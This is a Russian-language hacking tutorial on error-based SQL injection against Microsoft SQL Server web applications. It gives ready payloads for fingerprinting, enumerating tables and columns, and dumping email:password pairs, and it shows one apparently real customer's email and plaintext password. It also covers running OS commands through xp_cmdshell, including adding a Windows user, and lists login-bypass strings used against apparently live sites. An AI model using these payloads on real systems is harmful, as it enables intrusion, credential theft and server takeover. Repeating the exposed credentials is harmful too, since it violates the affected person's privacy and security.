автор: [cash]

Вступление.
Начнем, пожалуй, с вывода ошибок, и так, чем же отличается? - выводом ошибок у mysql и mssql. В mysql можно отключить вывод ошибок, в mssql этого сделать нельзя единственное что можно реализовать это редирект при выводе ошибки. В mssql вывод данных в mssql гораздо более проблематичный чем mysql (выводится только 1 переменная всегда), при этом не все данные из бд можно бывает вывести, иногда не выводяться колонки с кодировкой date int и др. Многие считают что сделать полноценный дамп базы через mssql иньекцию невозможно, но это не так, дальше я попытаюсь рассказать вам все тонкости проведения sql иньекций в msql.

Мы будем рассматривать иньекции на asp aspx cfm (c php mssql ведет себя чуть по другому), так же не будем забывать что админ может просто изменить в конфигах сервера обработку mime/type и расширение файла может любым, но это не введет нас в заблуждение. Если иньекция есть то мы ее найдем. В плюс можно отнести и то что на msql не может существовать blind (слепых) иньекций.

Вывод ошибок.

Приступим к поиску непосредственно самих иньекций. И начнем с изучения ошибок которые выводит mssql в ответ на наши извращения.
Рассмотрим данный урл
=1'

Код:

Microsoft OLE DB Provider for SQL Server error '80040e14' Line 1: Incorrect syntax near 'NO'. /prodDetails.asp, line 1282

Значит мы нашли вывод ошибки, но это еще не означает что получится изменить запрос к бд.

Проверяем на нашиличие иньекции:

Для того, что бы проверить, надо что-нибудь вывести, для этого используем подзапрос, и так что же мы можем вывести:

1 or 1=@@version-- - Версия
1 or 1=(select db_name())-- - Имя Базы Данных текущего юзера.
1 or 1=(select system_user)-- - Имя юзера владельца данной базой.

Но в нашем случае нам придется слегка видоизменить запрос для его работоспособности...
=1' or 1=(select db_name())--
В ответ получим ошибку:
Код:

Microsoft OLE DB Provider for SQL Server error '80040e07' Syntax error converting the nvarchar value 'fshop' to a column of data type int. /prodDetails.asp, line 1282

где fshop имя Базы Данных текущего юзера.

Поиск таблиц и колонок.

В mssql есть база данных в которой хранится информация о всех таблицах и колонках во всех бд данного сервера название ей INFORMATION_SCHEMA. Интересуют нас в ней 2 таблицы TABLES и COLUMNS. И так составим запрос:
1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--

В нашем случае запрос будет такой.

=1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION _SCHEMA.COLUMNS)--

В ответ мы получим:
Код:

Microsoft OLE DB Provider for SQL Server error '80040e07' Syntax error converting the nvarchar value 'tblMenuTCL' to a column of data type int. /prodDetails.asp, line 1282

Где tblMenuTCL одна из таблиц. Найдем интересующую нас таблицу методом перебора через NOT IN

=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION _SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('tblMenuTC L'))--

Получаем ошибку:
Код:

Microsoft OLE DB Provider for SQL Server error '80040e07' Syntax error converting the nvarchar value 'tblTCL_TEST1' to a column of data type int. /prodDetails.asp, line 1282

Где tblTCL_TEST1 имя второй таблицы. Далее, перебираем до той таблицы которая нам будет нужна. Дальнейший перебор осуществляется так:

1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','ta ble2',........,'table50'))--

Теперь когда мы нашли нужную таблицу надо узнать ее колонки что бы реализовать вывод данных для этого используем похожий запрос

1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AND+C OLUMN_NAME+NOT+IN+('column'))--

Вывод данных.

После того как мы узнали структуру базы данных приступим к выводу данных. Для примера я возьму иньекцию на другом сайте и выведу оттуда что нибудь
меня заинтересовали данные колонки:
Код:

CustID EmailAddress Password

Приступим к составлению запроса для начала выведем 1 из значений.

=1+or+1=(SELECT+TOP+1+EmailAddress +from+Customers)--

Код:

Microsoft OLE DB Provider for SQL Server error '80040e07' Syntax error converting the varchar value 'pdelia@ast-ss.com' to a column of data type int. /dev/qa_search/full_text.asp, line 23

Что же попробуем вывести все данные которые нас интересуют в 1 запросе, для этого составляем запрос

=1+or+1=(SELECT+TOP+1+cast(EmailAddress+as+nvarcha r)%2B%27%3A%27%2Bcast(Password+as+nvarchar)+from+C ustomers)--
Код:

Microsoft OLE DB Provider for SQL Server error '80040e07' Syntax error converting the nvarchar value 'pdelia@ast-ss.com:fzr1000r1' to a column of data type int. /dev/qa_search/full_text.asp, line 23

Отлично все что нам надо... но это только 1 строка из всей сможем ли мы посмотреть другие для этого используем простой запрос where:

=1+or+1=(SELECT+TOP+1+cast(EmailAddress+as+nvarcha r)%2B%27%3A%27%2Bcast(Password+as+nvarchar)+from+C ustomers+where+CustID=3)--

Мы получили совсем другую строку ту в которой CustID=3 так мы можем вывести всех юзеров. Но возникает вопрос, как же все-таки сдампить базу. Для этого существуют специальные скрипты которые перебирают все CustID (в нашем примере) и записывают все в файл без лишнего мусора.
Теперь непосредственно о том как мы обьеденяем данные используем мы cast() синтаксис которого cast(perm as encode), далее %2B%27%3A%27%2B это у нас и есть : между выводимыми данными в раскодированном виде выглядит так +':'+.

Исполнение команд.

Еще мы можем исполнять комады если юзеру под которым запущена база достаточно прав, как правило, это только юзер sa. Вот списочек процедур которые при определенных условиях мы сможем использывать:
Код:

xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell <команда> (исполнение файла через cmd.exe)
xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
sp_makewebtask (выполнение команды html вида)

Теперь как же это чудо нам вставить в запрос
;exec master..xp_cmdshell 'dir c:\'--
иногда
';exec master..xp_cmdshell 'dir c:\'--

Если вы задаите вопрос что же можно сделать то посоветую вам обратиться к help cmd.exe, лично использую только 1 метод добавление юзера.

POST Иньекции.

Конечно же затронем тему иньекций постом. в отличии от mysql, mssql выведет ошибку и мы можем с ней точно так же работать как и с обычной get иньекцией тоесть выводить данные из базы данных. Если же мы хотим просто обойти авторизацию то и используем подобные комбинации в полях логина и пароля:
Код:

' or 1=1-- " or 1=1-- or 1=1-- ' or '1'='1 " or "1"="1 ') or ('1'='1

Отсупления.

И так несколько моих советов по инжектированию:

1) Ошибка очень многих использывать в mssql union
Например тут:
scripts/cder/onctools/studies.cfm?ID=1+union+select+0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0--
хотя тут легче работать с подзапросами
scripts/cder/onctools/studies.cfm?ID=1+or+1=@@version--

2) не забывайте исользывать прерывание запроса в конце --

3) При поиске иньекции методом описанным мной то есть подставляем к параметру or+1=@@version-- пробуйте разные комбинации например
'+or+1=@@version--
')+or+1=@@version--
"+or+1=@@version--
и т.д.

4) Почему использывать именно @@version?
Потому что выводит данные в несколько строк и их легко заметить как например в данном запросе на aspx
http://barijessence.com/?Page=ModelS...+1=@@version--

5)Что следует почитать?
_http://injection.rulezz.ru/
_http://www.securitylab.ru/analytics/216211.php
_http://www.securitylab.ru/analytics/216332.php
_http://www.securitylab.ru/analytics/216333.php
_http://www.securitylab.ru/analytics/216344.php
Так же статьи на forum.antichat.ru

Обход кавычек.

Итак очередной мини апдейт к статье. Итак обход кавычек покурив мануалов от мелкомгяких нашел интересную особенность по обходу кавычек в cmd и а так же xp..cmdshell. не пробывал тестить при фильтрации кавычек в др функциях, как select но все в ваших руках.

Если бы был открыт ремот декспот то можно бы было добавить юзера, благо обход кавычек нашел прикольный.

Цитата:
master..xp_cmdshell [net user lol lol /add]

тобишь меняем выражение в кавычках на [], все же полезно читать мануалы...

© durito